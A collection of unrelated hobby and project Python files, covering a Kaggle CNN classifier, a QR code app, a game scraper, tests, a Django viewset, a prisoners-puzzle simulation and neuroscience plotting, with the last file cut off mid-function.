import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import cv2
import tensorflow as tf
from sklearn.utils import shuffle
import keras

# Set the memory growth to true for the GPU to expand the memory as needed
sess = tf.compat.v1.Session(config=tf.compat.v1.ConfigProto(log_device_placement=True))

gpus = tf.config.experimental.list_physical_devices('GPU')
for gpu in gpus:
    tf.config.experimental.set_memory_growth(gpu, True)

tf.config.list_physical_devices('GPU')

# Load the data

# Read data from a csv file using pandas

train_data = pd.read_csv('/kaggle/input/unibuc-dhc-2023/train.csv')

# Shuffle the data

train_data = shuffle(train_data)

# Take the images and labels
# Images are on the first column and labels are on the second column

images = train_data.iloc[:,0]
labels = train_data.iloc[:,1]

train_images = []
train_labels = []

for image in images: # for each image in the images list load the image, resize it to 64x64 and append it to the train_images list
    img = cv2.imread('/kaggle/input/unibuc-dhc-2023/train_images/'+image)
    img = cv2.resize(img, (64, 64))
    img = np.array(img)
    img = img/255.0 # normalize the image
    train_images.append(img)

train_images = np.array(train_images)

for label in labels: # for each label in the labels list append it to the train_labels list
    train_labels.append(label)

train_labels = np.array(train_labels)

plt.figure(figsize=(10,10)) # plot the first 9 images with their labels to see if the data is loaded correctly
for i in range(9):
    plt.subplot(3,3,i+1)
    plt.imshow(train_images[i], cmap='gray')
    plt.xlabel(train_labels[i])

# Give them a good shuffle to make sure that the model doesn't catch any patterns given by the order of the images
train_images, train_labels = shuffle(train_images, train_labels, random_state=14)

# data augmentation

from keras.preprocessing.image import ImageDataGenerator

# image generator from keras that creates new images from the existing ones by applying different transformations
datagen = ImageDataGenerator(
    rotation_range=10,
    vertical_flip=False,
    horizontal_flip=True,
    zoom_range=-0.5
)

datagen.fit(train_images) # fit the generator on the train images (actual transformation is done her)

augmented_images, augmented_labels = next(datagen.flow(train_images, train_labels, batch_size=len(train_images))) # Collect the new images and labels

# concatenate the original images with the augmented images
train_images = np.concatenate((train_images, augmented_images))
train_labels = np.concatenate((train_labels, augmented_labels))

# shuffle the data again

train_images, train_labels = shuffle(train_images, train_labels, random_state=14)

# Read validation data with the same principle as the train data

val_data = pd.read_csv('/kaggle/input/unibuc-dhc-2023/val.csv')

images = val_data.iloc[:,0]
labels = val_data.iloc[:,1]

val_images = []
val_labels = []

for image in images:
    img = cv2.imread('/kaggle/input/unibuc-dhc-2023/val_images/'+image)
    img = cv2.resize(img, (64,64))
    img = np.array(img)
    img = img/255.0
    val_images.append(img)

for label in labels:
    val_labels.append(label)

val_images = np.array(val_images)
val_labels = np.array(val_labels)

# Plot the images

plt.figure(figsize=(10,10))
for i in range(9):
    plt.subplot(3,3,i+1)
    plt.imshow(val_images[i], cmap='gray')
    plt.xlabel(val_labels[i])

from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D, Dense, Flatten, BatchNormalization, Dropout, RandomRotation, RandomFlip, GlobalAveragePooling2D, AveragePooling2D
from keras.layers import SeparableConv2D

# Convert the images and labels to tensors and create a dataset
# Prefetch and cache the dataset for better performance

AUTOTUNE = tf.data.experimental.AUTOTUNE

train_images_tensor = tf.convert_to_tensor(train_images)
train_labels_tensor = tf.convert_to_tensor(train_labels)

val_images_tensor = tf.convert_to_tensor(val_images)
val_labels_tensor = tf.convert_to_tensor(val_labels)

train_dataset = tf.data.Dataset.from_tensor_slices((train_images, train_labels)).batch(32).cache().prefetch(AUTOTUNE)
val_dataset = tf.data.Dataset.from_tensor_slices((val_images, val_labels)).batch(32).cache().prefetch(AUTOTUNE)

################# 3. Build Model #################

model = Sequential()

# ARHITECTURA VGG16 CARE ESTE LUATA DIN CURSUL DE ML

model.add(Conv2D(filters=64, kernel_size=(3, 3), strides = 1, activation='relu', input_shape=(64, 64, 3)))
model.add(BatchNormalization())
model.add(Conv2D(filters=64, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(MaxPooling2D(pool_size=(2, 2 ), strides=(2, 2)))
model.add(Dropout(0.6))

model.add(RandomFlip('horizontal_and_vertical'))

model.add(Conv2D(filters=128, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(Conv2D(filters=128, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(MaxPooling2D(pool_size=(2, 2 ), strides=(2, 2)))
model.add(Dropout(0.6))

model.add(Conv2D(filters=256, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(Conv2D(filters=256, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(Conv2D(filters=256, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(MaxPooling2D(pool_size=(2, 2 ), strides=(2, 2)))
model.add(Dropout(0.6))

model.add(Conv2D(filters=512, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(Conv2D(filters=512, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(Conv2D(filters=512, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(MaxPooling2D(pool_size=(2, 2 ), strides=(2, 2)))
model.add(Dropout(0.6))

model.add(Conv2D(filters=512, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(Conv2D(filters=512, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(Conv2D(filters=512, kernel_size=(3, 3), strides = 1, activation='relu', padding="same"))
model.add(BatchNormalization())
model.add(MaxPooling2D(pool_size=(2, 2 ), strides=(2, 2)))
model.add(Dropout(0.6))

# augumentation layer
model.add(RandomRotation(3))

model.add(Flatten())

model.add(Dense(4069, activation='relu'))
model.add(Dense(4069, activation='relu'))
model.add(Dense(512, activation='relu'))
model.add(BatchNormalization())
model.add(Dropout(0.7))
model.add(Dense(96, activation='softmax'))
# compile model
model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])

# print model summary
model.summary()

# print(train_images.shape, val_images.shape)

# model = None
# hist = None

import gc # garbage collector for cleaning unused memory and freeing up some space
gc.collect()

# lr scheduler

from keras.callbacks import ReduceLROnPlateau
# reduce learning rate when a metric has stopped improving (val_accuracy in this case) to make the model converge better and reduce overfitting
lr_scheduler = ReduceLROnPlateau(monitor='val_accuracy', factor=0.8, patience=22, verbose=1, min_lr=0.0001, mode='auto', initial_lr=0.001)

# callbacks

from keras.callbacks import ModelCheckpoint

filepath="weights.best.hdf5" # save the best model based on validation accuracy

checkpoint = ModelCheckpoint(filepath, monitor='val_accuracy', verbose=1, save_best_only=True, mode='max', save_weights_only=False, restore_best_weights=True)

callbacks_list = [checkpoint, lr_scheduler] # list of callbacks namely the checkpoint and the lr_scheduler

# train model

history = model.fit(train_dataset, epochs=250, batch_size=32, validation_data=val_dataset, callbacks=callbacks_list)

# evaluate model
model.load_weights('weights.best.hdf5') # load the best model based on validation accuracy

model.evaluate(val_images, val_labels)

# confusion matrix
from sklearn.metrics import confusion_matrix
import seaborn as sns

y_pred = model.predict(val_images)

cm = confusion_matrix(val_labels, y_pred.argmax(axis=1))

plt.figure(figsize=(96, 96))
sns.heatmap(cm, annot=True, fmt='d')
plt.show()

test_data = pd.read_csv('/kaggle/input/unibuc-dhc-2023/test.csv')

images = test_data.iloc[:,0]

test_images = []
test_labels = []

for image in images:
    img = cv2.imread('/kaggle/input/unibuc-dhc-2023/test_images/'+image)
    img = cv2.resize(img, (64,64))
    img = np.array(img)
    img = img/255.0
    test_images.append(img)

test_images = np.array(test_images)

pred = model.predict(test_images)

csv_file = open('submission.csv', 'w')
csv_file.write('Image,Class\n')

for i in range(len(pred)):
    csv_file.write(test_data.values[i][0] + ',' + str(np.argmax(pred[i])) + '\n')

csv_file.close()


from kivy.lang.builder import Builder
from kivymd.app import MDApp
from kivy.uix.screenmanager import ScreenManager, Screen
import pyqrcode

qr = """
MDScreen:
    MDCard:
        size_hint: None, None
        size: 300, 450
        orientation: "vertical"
        padding: 20
        spacing: 20
        pos_hint: {"center_x": .5, "center_y": .5}
        elevation: 15
        radius: 15
        MDLabel:
            id: title
            text: "QR Code Generator"
            font_size: 30
            halign: "center"
        MDTextFieldRound:
            id: link
            hint_text: "Enter Your URL"
            icon_left: "link"
        MDTextFieldRound:
            id:file
            hint_text: "Enter File Name"
            icon_left: "file"
        MDFillRoundFlatIconButton:
            text: "Generate"
            pos_hint: {"center_x": .5}
            on_release: app.gen()
            icon: "file-plus"
        MDFillRoundFlatIconButton:
            text: "Clear"
            pos_hint: {"center_x": .5}
            on_release: app.clfs()
            icon: "delete"
        Image:
            id: qr_image
            source:"D:\KivyMD\KivyMD\QR Code Generator\img.png"
        MDSwitch:
            pos_hint: {"center_x": .5, "center_y": .5}
            on_active: app.dark(*args)

"""

class MainApp(MDApp):

    def build(self):
        self.theme_cls.theme_style = "Light"
        return Builder.load_string(qr)

    def gen(self):
        link = self.root.ids.link.text
        file = self.root.ids.file.text
        if len(link) == 0:
            self.root.ids.title.text = "URL Not Specified!"
            self.root.ids.qr_image.source = "D:\KivyMD\KivyMD\QR Code Generator\img.png"
        elif len(file) == 0:
             self.root.ids.title.text = "File Name Not Specified!"
             self.root.ids.qr_image.source = "D:\KivyMD\KivyMD\QR Code Generator\img.png"
        else:
            link = self.root.ids.link.text
            file = self.root.ids.file.text
            qr = pyqrcode.create(content=link)
            qr.png(f"{file}.png", scale=4)
            self.root.ids.qr_image.source = f"D:\KivyMD\KivyMD\QR Code Generator\{file}.png"
            self.root.ids.title.text = "QR Code Generated!"

    def clfs(self):
        self.root.ids.title.text = "QR Code Generator"
        self.root.ids.link.text = ""
        self.root.ids.file.text = ""
        self.root.ids.qr_image.source =""
        self.root.ids.qr_image.source = "D:\KivyMD\KivyMD\QR Code Generator\img.png"

    def dark(self, checkbox, value):
        if value:
            self.theme_cls.theme_style = "Dark"
        else:
            self.theme_cls.theme_style = "Light"

MainApp().run()


#!/usr/bin/env python3
import click
import sys
import csv
__author__ = 'mgooch'

@click.command(help="Collect Unique entries from first column of maf file")
@click.option('--maf', type=click.File('r'), required=True, help="file to collect names from")
@click.option('--out', type=click.File('w+'), default=sys.stdout, help="file to use for output")
def cli(maf, out):
	Names = list()
	#Entrez_IDs = list()
	rdr = csv.reader(maf, dialect='excel-tab')
	for line in rdr:
		if len(line) < 1:
			continue
		symbol = line[0].rstrip()
		if symbol != "Hugo_Symbol" and symbol not in Names:
			Names.append(symbol)
			#Entrez_IDs.append(line_split[1])
			print("%s\t" % line[0], file=out)
	out.write("")
	out.close()


from operator import itemgetter
import time
import json

from utils import constants

def extractIngredients(string, start='(', stop=')'):
    return string[string.index(start) + 1:string.index(stop)]

def scrapeTavernData(driver, close_after=True):
    data = {}
    juice_map = {}
    phone_map = {}
    kitchen_map = {}
    cellar_map = {}
    aerator_map = {}
    distiller_map = {}
    cider_map = {}
    blender_map = {}

    machinery = [constants.ITEM_KITCHEN, constants.ITEM_CELLAR, constants.ITEM_AERATOR, constants.ITEM_DISTILLER, constants.ITEM_CIDER, constants.ITEM_BLENDER]

    driver.get(constants.BASE_URL + constants.ASUKOHT_KORTS + constants.ITEM_JUICER)
    time.sleep(1)

    for option in driver.find_element_by_class_name('mat_list').find_element_by_tag_name('tbody').find_elements_by_tag_name('tr')[1:]:
        juice_map[option.find_elements_by_tag_name('td')[0].text] = option.get_attribute('id').split('_')[1]

    driver.get(constants.BASE_URL + constants.ASUKOHT_KORTS + constants.ITEM_PHONE)
    time.sleep(1)
    for option in driver.find_element_by_class_name('mat_list').find_element_by_tag_name('tbody').find_elements_by_tag_name('tr')[1:]:
        phone_map[option.find_elements_by_tag_name('td')[0].text] = option.get_attribute('id').split('_')[1]

    items = []

    for machine in machinery:
        current_map = {}
        driver.get(constants.BASE_URL + constants.ASUKOHT_KORTS + machine)
        time.sleep(1)
        for option in driver.find_element_by_id('drinks_list').find_elements_by_tag_name('option')[1:]:
            items.append((option.text, int(option.get_attribute('value'))))
            current_map[option.text] = option.get_attribute('value')

        if machine == '#kitchen':
            kitchen_map = current_map
        elif machine == '#cellar':
            cellar_map = current_map
        elif machine == '#aerator':
            aerator_map = current_map
        elif machine == '#distiller':
            distiller_map = current_map
        elif machine == '#cider':
            cider_map = current_map
        elif machine == '#blender':
            blender_map = current_map

    item_to_ingredients_map = {}
    item_to_value_map = {}
    item_names = []
    level_to_item_map = {}

    sorted_items = sorted(items, key=itemgetter(1))
    for item in sorted_items:
        ingredient_string = extractIngredients(item[0])

        ingredient_list = []
        ingredients = ingredient_string.split(' + ')
        for ingredient in ingredients:
            ingredient_list.append(ingredient)

        item_to_ingredients_map[item[0]] = ingredient_list
        item_to_value_map[item[0]] = str(item[1])
        item_names.append(item[0])

        level = item[0].split(' - ')[0].split(' ')[1]
        level_to_item_map[level] = item[0]

    data['phone_map'] = phone_map
    data['juice_map'] = juice_map
    data['kitchen_map'] = kitchen_map
    data['cellar_map'] = cellar_map
    data['aerator_map'] = aerator_map
    data['distiller_map'] = distiller_map
    data['cider_map'] = cider_map
    data['blender_map'] = blender_map
    data['item_to_ingredients_map'] = item_to_ingredients_map
    data['item_to_value_map'] = item_to_value_map
    data['item_names'] = item_names
    data['level_to_item_map'] = level_to_item_map

    with open('data/joogimeister.txt', 'w') as outfile:
        json.dump(data, outfile)

    if close_after:
        driver.close()


from datetime import datetime

import pytest

from linotp.app import LinOTPApp
from linotp.cli import get_backup_filename

@pytest.fixture
def app():
    """
    A minimal app for testing

    The app is configured with an unitialised database and Testing mode
    """
    app = LinOTPApp()
    config = {
        "TESTING": True,
    }
    app.config.update(config)
    return app

# ----------------------------------------------------------------------
# Tests for `get_backup_filename()`
# ----------------------------------------------------------------------

@pytest.mark.parametrize(
    "fmt,input_filename,expected_filename,now",
    [
        (
            "%Y-%m-%d_%H-%M",
            "foo",
            "foo.2020-08-18_19-25",
            None,
        ),
        (
            "%Y-%m-%d_%H-%M",
            "bar",
            "bar.2000-01-01_00-00",
            "2000-01-01T00:00:00",
        ),
        (
            "%d%m%Y",
            "baz",
            "baz.18082020",
            None,
        ),
        (
            "%d%m%Y",
            "quux",
            "quux.01012000",
            "2000-01-01T00:00:00",
        ),
        (
            "%Y-%m-%d_%H-%M",
            "foo-%s.csv",
            "foo-2020-08-18_19-25.csv",
            None,
        ),
        (
            "%d%m%Y",
            "foo-%-s-%s-%s.txt",
            "foo-%-s-01012000-01012000.txt",
            "2000-01-01T00:00:00",
        ),
    ],
)
def test_get_backup_filename(
    freezer,
    monkeypatch,
    app,
    fmt,
    input_filename,
    expected_filename,
    now,
):
    freezer.move_to("2020-08-18 19:25:33")
    monkeypatch.setitem(app.config, "BACKUP_FILE_TIME_FORMAT", fmt)

    if now is None:
        actual_filename = get_backup_filename(
            input_filename,
        )
    else:
        actual_filename = get_backup_filename(
            input_filename,
            datetime.fromisoformat(now),
        )

    assert actual_filename == expected_filename


import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

# Sample data
x = pd.Series([4, 8, 9, 8, 8, 12, 6, 10, 6, 9])
y = pd.Series([9, 20, 22, 15, 17, 30, 18, 25, 10, 20])

# Calculate each values and estimation parameters
n = x.size
sumy = y.sum(); avgy = y.mean()
sumx = x.sum(); avgx = x.mean()
sumxy = (x * y).sum()
sumsqrx = (x * x).sum()

print('n = {}'.format(n))
print('Sum y = {}, Average y = {}'.format(sumy, avgy))
print('Sum x = {}, Average x = {}'.format(sumx, avgx))
print('Sum of x*y = {}'.format(sumxy))
print('Sumf of square of x = {}'.format(sumsqrx))

b1 = (sumxy-(sumx*sumy/n))/(sumsqrx-(sumx*sumx)/10)
b0 = (sumy/n)-b1*(sumx/n)
print('\nSimple Linear Regression Result')
print('yhat = {:.3f}+{:.3f}x'.format(b0, b1))

# # Scatter plot
plt.plot(x, y, '.', color='red', label='Sample Data')

# define function
f = lambda x: b0 + b1*x # fitted function
xp = np.array([0, 13]) # using min, max points of x
plt.plot(xp, f(xp), color='blue', label='simple linear regression')

plt.xlabel('Cost')
plt.ylabel('Sales')
plt.legend()
plt.axis([0, 13, 0, 35])
plt.show()

# calculate r^2
yhat = f(x)
SST = ((y-avgy)*(y-avgy)).sum()
SSE = ((y-yhat)*(y-yhat)).sum()
SSR = ((yhat-avgy)*(yhat-avgy)).sum()
rsqr = SSR / SST
# rsqr = 1 - SSE/SST
print('\nSST = SSE + SSR')
print('{:.2f} = {:.2f} + {:.2f}'.format(SST, SSE, SSR))
print('R^2 = {:.3f}'.format(rsqr))


from art import logo

print(f"{logo}\nWelcome to the secret auction program.")

auction_start = True
auction = {}

def add_person(person_name, bid_amount):
    new_person = {person_name: bid_amount}
    auction.update(new_person)

def who_won():
    bidder = list(auction.keys())
    values = list(auction.values())
    winning_bid = max(values)
    position = values.index(winning_bid)
    winner = bidder[position]
    print(f"The winner is {winner} with a bid of ${winning_bid}")

while auction_start:

    name = input("what is your name?: ")
    bid = int(input("What's your bid?: $"))
    # add_person(name, bid)

    auction[name] = bid

    more_people = input("Are there any other bidders? Type 'yes' or 'no. \n").lower()
    if more_people == "no":
        who_won()
        auction_start = False
    elif more_people == "yes":
        auction_start = True
    else :
        print("INVALID ENTRY!!!\n\n")
        who_won()


from app import db
from pytz import timezone
from datetime import datetime

def to_iso(date):
    try:
        return date.isoformat()
    except AttributeError:
        return None

class Accesorio(db.Model):
    __tablename__ = 'neg_taccesorio'
    acc_id = db.Column(db.Integer, primary_key = True, autoincrement = True)
    acc_clase = db.Column(db.Integer)
    acc_color = db.Column(db.Integer)
    acc_estilo = db.Column(db.Integer)
    acc_nombre = db.Column(db.String, nullable = False)
    acc_linea = db.Column(db.Integer)
    acc_cantidad = db.Column(db.Integer)
    acc_val_unitario = db.Column(db.DECIMAL)
    acc_crea = db.Column(db.String(10))
    acc_modifica = db.Column(db.String(10))
    acc_fecha_mod = db.Column(db.DateTime)

    def __init__(self, acc_nombre, acc_linea, acc_color, acc_estilo, acc_clase, acc_cantidad, acc_val_unitario, acc_crea, acc_modifica):
        self.acc_nombre = acc_nombre
        self.acc_cantidad = acc_cantidad
        self.acc_linea = acc_linea
        self.acc_color = acc_color
        self.acc_estilo = acc_estilo
        self.acc_clase = acc_clase
        self.acc_val_unitario = acc_val_unitario
        self.acc_crea = acc_crea
        self.acc_modifica = acc_modifica
        self.acc_fecha_mod = datetime.now(timezone('America/Bogota'))

    def __repr__(self):
        texto = '''<acc_nombre: {} >
        <acc_cantidad: {} >
        <acc_linea: {} >
        <acc_color: {} >
        <acc_estilo: {} >
        <acc_clase: {} >
        <acc_crea: {} >
        <acc_modifica: {} >
        <acc_fecha_mod: {} >'''
        return texto.format(self.acc_nombre, self.acc_cantidad, self.acc_linea, self.acc_color, self.acc_estilo, self.acc_clase, self.acc_crea, self.acc_modifica, self.acc_fecha_mod)

    @property
    def serialize(self):
       """Return object data in easily serializeable format"""
       return {
        'id': self.acc_id,
        'clase': self.acc_clase,
        'color': self.acc_color,
        'estilo': self.acc_estilo,
        'linea': self.acc_linea,
        'nombre': self.acc_nombre,
        'cantidad': self.acc_cantidad,
        'val_unitario': float(self.acc_val_unitario),
        'crea': self.acc_crea,
        'modifica': self.acc_modifica,
        'fecha_mod': to_iso(self.acc_fecha_mod)
       }


from django.http import QueryDict
from django.http.request import HttpRequest

from rest_framework.status import (
    HTTP_200_OK,
    HTTP_201_CREATED,
    HTTP_202_ACCEPTED,
    HTTP_406_NOT_ACCEPTABLE,
    HTTP_403_FORBIDDEN,
)
from rest_framework.response import Response
from rest_framework.viewsets import ViewSet
from rest_framework.permissions import (
    AllowAny,
    IsAuthenticated,
    IsAuthenticatedOrReadOnly,
    IsAdminUser,
)
from .models import Story
from users.models import CustomUser
from .serializers import StorySerializer
from users.middlewares import JWTAuthentication
from django.shortcuts import get_object_or_404

class StoryViewSet(ViewSet):
    """
    Example viewset demonstrating the standard
    actions that will be handled by a router class.
    """

    serializer_class = StorySerializer
    authentication_classes = (JWTAuthentication,)

    def create(self, request: HttpRequest):
        if request.FILES and request.FILES.get("attachments"):
            serializer = self.serializer_class(
                data=request.data, context={"request": request}
            )
            serializer.is_valid(raise_exception=True)
            serializer.save()
            return Response(
                data={
                    "success": True,
                    "result": "Story has been created successfully!",
                },
                status=HTTP_201_CREATED,
            )
        return Response(
            data={
                "success": False,
                "result": "attachments field was not provided!",
            },
            status=HTTP_406_NOT_ACCEPTABLE,
        )

    def retrieve(self, request: HttpRequest, pk=None):
        user = get_object_or_404(CustomUser, pk=pk)
        stories = Story.objects.filter(author=user)
        serializer = self.serializer_class(stories, many=True)
        return Response(
            data={
                "success": True,
                "result": serializer.data,
            },
            status=HTTP_200_OK,
        )

    def destroy(self, request: HttpRequest, pk=None):
        story = get_object_or_404(Story, pk=pk)

        if story.author.id == request.user.id:
            story.delete()
            return Response(
                data={
                    "success": True,
                    "result": "Story successfully deleted!",
                },
                status=HTTP_200_OK,
            )
        return Response(
            data={
                "success": False,
                "result": "Access denied!",
            },
            status=HTTP_403_FORBIDDEN,
        )

    def get_permissions(self):
        """
        Instantiates and returns the list of permissions that this view requires.
        """
        if self.action == "create":
            permission_classes = [IsAuthenticated]
        elif self.action == "retrieve":
            permission_classes = [IsAuthenticated]
        elif self.action == "destroy":
            permission_classes = [IsAuthenticated]
        else:
            permission_classes = [IsAdminUser]
        return [permission() for permission in permission_classes]


from random import shuffle
from math import sqrt
from math import ceil
import argparse

class StatisticCreator:
    def __init__(self, number_runs, board_size=100, chances_ratio=0.5):
        self.number_runs = number_runs
        self.board_size = board_size
        self.chances_ratio = chances_ratio
        self.cnt_passed = 0
        self.cnt_failed = 0
        self.win_ratio = 0

    def __str__(self):
        return str(self.number_runs) + " boards played, success ratio " + "{:.3f}".format(self.win_ratio)

    def create_statistic(self, verbose):
        for _ in range(self.number_runs):
            prisoner_win = self._execute_game(verbose)
            if prisoner_win:
                self.cnt_passed += 1
            else:
                self.cnt_failed += 1

        self.win_ratio = self.cnt_passed / self.number_runs

    def _execute_game(self, verbose):
        board = ShuffledBoard(board_size=self.board_size, chances_ratio=self.chances_ratio)
        cnt_successful = 0
        cnt_failed = 0

        for prisoner_number in range(1, self.board_size+1):
            prisoner = Prisoner(prisoner_number)
            prisoner.search_number(board)
            if prisoner.number_found:
                cnt_successful += 1
            else:
                cnt_failed += 1

        if verbose:
            print("Successful prisoners: " + str(cnt_successful))
            print("Failed prisoners: " + str(cnt_failed))

        return cnt_failed == 0

class ShuffledBoard:
    def __init__(self, board_size=100, do_shuffle=True, chances_ratio=0.5):
        self.board_size = board_size
        self.max_allowed_steps = int(board_size * chances_ratio)
        self.board_map = list(range(1,board_size+1))
        if do_shuffle:
            shuffle(self.board_map)

    def __str__(self):
        output_str = ""
        quater_size = ceil(sqrt(self.board_size))
        max_digits = len(str(self.board_size))

        for idx, val in enumerate(self.board_map):
            if idx % quater_size == 0:
                output_str += "\n"
            output_str += str(val).zfill(max_digits) + " "

        return output_str

class Prisoner:
    def __init__(self, number):
        self.number = number
        self.number_found = False
        self.tries = 0

    def __str__(self):
        result = "Successful" if self.number_found else "Failed"
        return "Prisoner number " + str(self.number) + ": " + result

    def search_number(self, board):
        next_number = board.board_map[self.number-1]
        self.number_found = next_number == self.number
        self.tries += 1

        while(not self.number_found and self.tries < board.max_allowed_steps):
            next_number = board.board_map[next_number-1]
            self.number_found = next_number == self.number
            self.tries += 1

def run_statistic(cnt_execution):
    statistic = StatisticCreator(cnt_execution, board_size=100)
    statistic.create_statistic(verbose=False)
    print(statistic)

def run_single_game():
    statistic = StatisticCreator(1, board_size=100)
    statistic.create_statistic(verbose=True)

def arg_parser():
    parser = argparse.ArgumentParser()
    parser.add_argument('-c', '--count_stat', type=int, default=1000)
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-s', '--stat', action='store_true', help='Execute multiple runs to create statistic.')
    group.add_argument('-o', '--one_run', action='store_true', help='Execute a single run and see how many prisoners are successful and failing.')
    args = parser.parse_args()

    return args.stat, args.one_run, args.count_stat

def main():
    stat_flag, one_run_flag, count_flag = arg_parser()

    if stat_flag:
        run_statistic(count_flag)
    elif one_run_flag:
        run_single_game()

if __name__ == "__main__":
    main()


import sys, os, pathlib
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.backends.backend_pdf import PdfPages

sys.path.append(str(pathlib.Path(__file__).resolve().parents[2]))
from physion.dataviz.datavyz.datavyz import graph_env_manuscript as ge
from physion.analysis import read_NWB
from physion.analysis import process_NWB
from physion.dataviz.show_data import EpisodeResponse
from physion.analysis.tools import summary_pdf_folder
# from physion.analysis.protocol_scripts.orientation_direction_selectivity import shift_orientation_according_to_pref

def plot_resp_dependency(Episodes,
                         stim_keys=['Image-ID', 'VSE-seed'],
                         stim_indices=[0,1],
                         responsive_rois=None,
                         running_threshold=0.1,
                         selection_seed=0, N_selected=7):
    """
    """
    # different episode conditions :

    all_eps = Episodes.find_episode_cond(stim_keys, stim_indices)
    running = all_eps & (Episodes.running_speed.mean(axis=1)>running_threshold)
    still = all_eps & (Episodes.running_speed.mean(axis=1)<=running_threshold)

    if responsive_rois is not None:
        np.random.seed(selection_seed)
        if len(responsive_rois)>=N_selected:
            selected_rois=np.random.choice(responsive_rois, N_selected, replace=False)
        else:
            selected_rois = np.concatenate([responsive_rois,
                                            np.random.choice(np.arange(Episodes.dFoF.shape[1]),
                                               N_selected-len(responsive_rois), replace=False)])
    else:
        selected_rois = np.random.choice(np.arange(Episodes.dFoF.shape[1]), N_selected, replace=False)
    selected_rois = np.array(selected_rois, dtype=int)

    fig, AX = ge.figure(axes_extents=[[[1,3] for i in range(4)],
                                     [[1, N_selected] for i in range(4)]],
                        figsize=(1.3,.25), left=1, right=4, top=5, wspace=0.4)

    # RASTER SHOWING RAW VALUES OF dFoF but over a clipped range defined:
    min_dFoF = np.min(Episodes.dFoF[:,selected_rois,:].mean(axis=0).min(axis=-1))
    max_dFoF = 0.8*np.max(Episodes.dFoF[:,selected_rois,:].mean(axis=0).max(axis=-1))

    _, cb = ge.bar_legend(AX[0][0],
                  colorbar_inset=dict(rect=[-0.5,.1,.03,.8], facecolor=None),
                  colormap=ge.binary,
                  bar_legend_args={},
                  #label='n. $\Delta$F/F', bounds=None, ticks = None, ticks_labels=None, no_ticks=False,
                  #label='$\Delta$F/F', bounds=[0,2], ticks = [0,1,2], ticks_labels=['0','1','>2'], no_ticks=False,
                  bounds=[min_dFoF, max_dFoF], ticks=[min_dFoF,max_dFoF],
                  ticks_labels=['<%.1f' % min_dFoF, '>%.1f' % max_dFoF], no_ticks=False,
                  orientation='vertical')
    ge.annotate(cb, '$\Delta$F/F', (1.5, 0.5), rotation=90, va='center')

    ge.bar_legend(AX[1][0],
                  colorbar_inset=dict(rect=[-0.5,.2,.02,.6], facecolor=None),
                  colormap=ge.jet,
                  bar_legend_args={},
                  label='single trials', bounds=None, ticks = None, ticks_labels=None, no_ticks=False,
                  orientation='vertical')

    ##### ---- INSETS ---- #####

    stim_inset = ge.inset(AX[0][3], [0.7, 0.4, 0.9, 1])

    Episodes.visual_stim.plot_stim_picture(np.flatnonzero(all_eps)[0],
                                           ax=stim_inset, vse=True)
    stim_inset.annotate('t=%.1fs' % getattr(Episodes, 'center-time')[np.flatnonzero(all_eps)[0]],
            (1,1), xycoords='axes fraction', ha='right', va='top', size=8, color='w')

    if responsive_rois is not None:
        resp_inset = ge.inset(AX[0][3], [0.95,-0.4,0.5,0.8])
        frac_resp = 100.*len(responsive_rois)/Episodes.dFoF.shape[1]
        ge.pie([frac_resp, 100-frac_resp], COLORS=[ge.green, ge.grey],
               ax=resp_inset)
        ge.annotate(resp_inset, '%.1f%% resp.' % frac_resp,
                    (1.1,0.9), rotation=90, ha='right',va='top',
                    color=ge.green)

    if hasattr(Episodes, 'pupil_diameter'):
        behav_inset = ge.inset(AX[0][3], [0.2,0.3,0.45,.7])
        Episodes.behavior_variability(episode_condition=all_eps,
                                      threshold2=running_threshold, ax=behav_inset)

    scale_ROIS = np.ones(len(selected_rois))

    for cond, axP, axT, label, color in zip([all_eps, still, running], AX[0], AX[1],
                    ['all eps', 'still', 'running'], ['k', ge.blue, ge.orange]):

        ge.title(axP, '%s (n=%i)' % (label, np.sum(cond)), color=color)

        if np.sum(cond)>0:

            axP.imshow(np.clip(Episodes.dFoF[cond,:,:].mean(axis=0), min_dFoF, max_dFoF),
                       cmap=ge.binary,
                       aspect='auto', interpolation='none',
                       vmin=min_dFoF, vmax=max_dFoF,
                       origin='lower',
                       extent = (Episodes.t[0], Episodes.t[-1],
                                 0, Episodes.dFoF.shape[1]))

            min_dFoF_range = 1.2

            for ir, r in enumerate(selected_rois):

                roi_resp = Episodes.dFoF[cond, r, :]
                scale = max([min_dFoF_range, np.max(roi_resp-roi_resp.mean())]) # 2 dFoF is the min scale range
                # plotting eps with that scale
                for iep in range(np.sum(cond)):
                    axT.plot(Episodes.t, ir+(roi_resp[iep,:]-roi_resp.mean())/scale,
                             color=ge.jet(iep/np.sum(cond)), lw=.5)
                # plotting scale
                axT.plot([Episodes.t[-1], Episodes.t[-1]], [.25+ir, .25+ir+1./scale], 'k-', lw=1.5)

                if 'all' in label:
                    ge.annotate(axT, 'roi#%i ' % (r+1), (Episodes.t[0], ir), xycoords='data',
                                ha='right', size='small')
                    scale_ROIS[ir] = scale

                if label=='running':
                    ge.plot(Episodes.t,
                            ir+Episodes.dFoF[cond, r, :].mean(axis=0)/scale_ROIS[ir],
                            sy=Episodes.dFoF[cond, r, :].std(axis=0)/scale_ROIS[ir],
                            ax=AX[1][3], color=color, no_set=True)

                if label=='still':
                    ge.plot(Episodes.t,
